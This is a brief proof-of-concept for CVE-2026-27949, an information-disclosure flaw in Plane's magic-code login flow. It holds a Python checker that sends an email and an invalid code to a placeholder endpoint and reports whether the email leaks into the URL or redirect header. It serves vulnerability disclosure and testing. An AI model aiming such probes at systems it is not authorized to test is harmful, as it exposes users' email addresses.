CVE-2026-27949: Plane认证流程信息泄露漏洞

# PoC for CVE-2026-27949: Information Disclosure via Query Parameter import requests def check_poc(target_url, email): # Simulating the vulnerable endpoint where email is passed in URL # during an error scenario (e.g. invalid magic code) params = { "email": email, "code": "INVALID_CODE" } try: response = requests.get(target_url, params=params, allow_redirects=False) # Check if the email is present in the URL (Location header or response URL) if email in response.url: print(f"[+] Vulnerability Confirmed: Email leaked in URL -> {response.url}") return True if 'Location' in response.headers and email in response.headers['Location']: print(f"[+] Vulnerability Confirmed: Email leaked in Redirect Location -> {response.headers['Location']}") return True print("[-] Vulnerability not detected in this specific request.") return False if __name__ == "__main__": target = "https://target-plane-instance.com/auth/verify-magic-code" user_email = "[email protected]" check_poc(target, user_email)